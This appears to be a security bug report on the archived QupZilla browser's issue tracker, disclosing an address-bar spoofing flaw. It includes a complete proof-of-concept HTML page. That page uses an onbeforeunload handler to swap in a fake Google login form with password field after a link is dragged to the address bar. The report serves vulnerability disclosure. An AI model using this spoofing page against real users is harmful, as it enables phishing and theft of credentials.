This repository was archived by the owner on May 10, 2018. It is now read-only.
Address bar spoofing #2642
Description
Hi Team,
A security issue was observed while performing bulk test-cases on qupzilla browser.
Steps to reproduce the issue:
- Open qupzilla
- Open
spoof.html - Drag the link to address bar.
The Omini bar get spoofed, to https://www.account.google.com/ such attack will help attacker to perform attacks such as phishing.
spoof.html
<body onbeforeunload="dostuff()">
<div id='pg1'>
<a href='https://accounts.google.com:8091/'>Drag me into the address bar!</a>
</div>
<div id='pg2' style="display: none">
<h1>Welcome to Legitimate Google Login Page</h1>
<p>
<span style="width: 20ex; display: inline-block">Login:</span> <input type=text><br>
<span style="width: 20ex; display: inline-block">Password:</span> <input type=password>
<p>
<input type=submit>
</div>
<script>
function dostuff() {
document.getElementById('pg1').style.display = 'none';
setTimeout("document.getElementById('pg2').style.display = 'block'", 1000);
}
</script>
Request team, to please have a look.
Thank you!